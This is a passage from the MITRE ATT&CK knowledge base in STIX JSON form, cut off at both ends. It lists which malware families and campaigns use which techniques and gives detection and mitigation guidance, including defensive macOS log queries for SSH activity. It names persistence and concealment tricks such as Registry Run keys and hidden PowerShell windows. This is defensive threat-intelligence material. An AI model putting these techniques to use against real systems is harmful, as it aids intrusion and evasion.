2020)","modified":"2022-04-07T17:31:15.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--384c2ef7-ae14-4ba2-ad86-bfeea3c14f33","type":"relationship","created":"2021-12-27T19:19:42.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"modified":"2021-12-27T19:19:42.916Z","description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) has the capability to act as a reverse proxy.(Citation: Check Point Warzone Feb 2020)","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--384c75e4-04e7-4ff8-9da6-0c8a03cb7a61","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell Sakula","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"}],"modified":"2020-03-17T02:29:53.447Z","description":"Most [Sakula](https://attack.mitre.org/software/S0074) samples maintain persistence by setting the Registry Run key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ in the HKLM or HKCU hive, with the Registry value and file name varying by sample.(Citation: Dell Sakula)","relationship_type":"uses","source_ref":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--384ef910-fabc-4e87-ad19-8f632b69851c","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--385f57f4-87b6-4126-ab67-531e482ec9bc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.318Z","description":"[Regin](https://attack.mitre.org/software/S0019) contains a keylogger.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3863f565-a654-45ad-8fb9-43d016d9b8a4","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T20:25:38.052Z","description":"Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). For example, on macOS systems log show --predicate 'process = \"sshd\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nFor Linux systems, the Audit framework (auditd) can be used to monitor for the creation of SSH related processes such as ssh. \n\nFor macOS systems (10.12+), the above command can be used to look through the Unified Logs for SSH connection activity, though we also recommend including the “—debug” parameter to ensure that all relevant data is returned: log show --info --debug --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"'","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3868dccd-cc1d-49b4-a940-6055a4c65746","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-15T13:33:09.977Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes, that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nNote: On Windows, Sysmon Event ID 7 (Image loaded) can be used to monitor the loading of DLLs into processes, including those designed to accept remote connections. This is a particularly noisy event and can generate a large volume of data, so we recommend baselining and filtering out any known benign processes and module to help reduce the number of events that are produced.","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--386a591e-3e8e-4f23-8a5c-60abfa831d30","type":"relationship","created":"2020-02-21T16:22:09.780Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T16:22:09.780Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--386d6f27-a0a6-44c9-bd03-8a332c5ce9e2","created":"2022-09-16T15:54:50.081Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:54:50.081Z","description":"During [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors sent phishing emails to victims that contained a malicious link.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--386f2d28-9b7b-43b7-bc06-d7d8ffc644e2","type":"relationship","created":"2021-09-30T12:48:38.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.806Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can deobfuscate and re-assemble code strings for execution.(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3871b3d6-9b62-4f20-af9f-8317b263b5a8","type":"relationship","created":"2020-02-12T18:55:55.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-12T18:55:55.461Z","relationship_type":"revoked-by","source_ref":"attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d","target_ref":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3872901c-9601-413e-bf8a-e2fe35772c71","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.639Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) can delete files.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38762462-11f6-4f44-bda3-4da3c2c8d70d","type":"relationship","created":"2020-10-20T17:30:34.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA17-156A SNMP Abuse 2017","url":"https://us-cert.cisa.gov/ncas/alerts/TA17-156A","description":"US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."}],"modified":"2022-02-17T19:50:47.191Z","description":"Configure SNMPv3 to use the highest level of security (authPriv) available.(Citation: US-CERT TA17-156A SNMP Abuse 2017) ","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--387640be-2b25-40c3-9048-f6cb86beab78","created":"2022-09-30T19:08:22.146Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:08:22.146Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors relied on a victim clicking on a malicious link sent via email.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3877277b-ae7c-4cb8-b564-3263b235c1e7","type":"relationship","created":"2019-10-11T19:07:42.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","source_name":"FireEye APT29"}],"modified":"2021-02-09T13:58:23.904Z","description":"[HAMMERTOSS](https://attack.mitre.org/software/S0037) has used -WindowStyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--387cdc83-fc81-499e-8875-e3d4789af9c3","type":"relationship","created":"2020-02-03T16:49:58.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:45:59.334Z","description":"Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--387d3f7f-0967-43da-a84e-e720a3b1e977","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":" Monitor executed commands and arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. The Registry may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--387d5cbe-8862-45c1-9577-c1424b072283","created":"2023-02-08T00:28:37.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T15:11:02.564Z","description":"[metaMain](https://attack.mitre.org/software/S1059) can enumerate the processes that run on the platform.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--387fa1e2-b8c5-4be4-b566-85b0525ed294","type":"relationship","created":"2019-04-17T19:18:00.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-28T21:39:43.151Z","description":"[Remexi](https://attack.mitre.org/software/S0375) utilizes scheduled tasks as a persistence mechanism.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3881653b-bd16-4eba-ab35-81da1872c5c8","created":"2022-09-23T13:04:27.764Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-23T13:04:27.764Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can determine the local time on targeted machines.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3881a82b-37fa-4e91-a411-a0f2b4410749","created":"2022-08-03T03:29:32.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T21:07:19.386Z","description":"Consider disabling old/dangerous authentication protocols (e.g. NTLM), as well as unnecessary certificate features, such as potentially vulnerable AD CS web and other enrollment server roles.(Citation: SpecterOps Certified Pre Owned)","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3884be12-f73f-4f9b-875e-68d40798faf6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"modified":"2020-03-20T22:37:49.552Z","description":"After encrypting C2 data, [BADNEWS](https://attack.mitre.org/software/S0128) converts it into a hexadecimal representation and then encodes it into base64.(Citation: Forcepoint Monsoon)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3884e1f8-c4ee-4337-b24c-1a5d2cecffc5","type":"relationship","created":"2020-01-10T18:01:03.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T23:45:25.791Z","description":"Restrict write access to logon scripts to specific administrators.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--388b7632-476a-4194-be77-451ba13bcb10","created":"2022-08-11T22:41:16.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:39:46.408Z","description":"[DCSrv](https://attack.mitre.org/software/S1033)'s configuration is encrypted.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--388e6809-55d3-4689-93b1-ddd9058b965c","created":"2022-06-01T18:28:38.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:46:31.101Z","description":"[Tarrask](https://attack.mitre.org/software/S1011) has masqueraded as executable files such as `winupdate.exe`, `date.exe`, or `win.exe`.(Citation: Tarrask scheduled task) ","relationship_type":"uses","source_ref":"malware--988976ff-beeb-4fb5-b07d-ca7437ea66e8","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--388ebc0a-6839-4b03-959c-766c1893cf64","type":"relationship","created":"2021-09-21T15:45:10.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.495Z","description":"[Turian](https://attack.mitre.org/software/S0647) can use VMProtect for obfuscation.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--389029e4-c8bc-48e7-9e46-ca513eeda5ca","type":"relationship","created":"2019-01-29T21:33:34.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-17T00:22:32.997Z","description":"[BadPatch](https://attack.mitre.org/software/S0337) uses HTTP for C2.(Citation: Unit 42 BadPatch Oct 2017)","relationship_type":"uses","source_ref":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3890dead-331f-498d-b99d-2191150ae2ac","type":"relationship","created":"2021-03-24T20:25:01.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.321Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has been distributed through spearphishing emails with malicious attachments.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--38938464-b328-4d89-a3a3-7e1f68cb195e","type":"relationship","created":"2020-05-12T14:12:19.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Inception November 2018","url":"https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/","description":"Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020."}],"modified":"2020-05-12T15:18:44.234Z","description":"[PowerShower](https://attack.mitre.org/software/S0441) has the ability to remove all files created during the dropper process.(Citation: Unit 42 Inception November 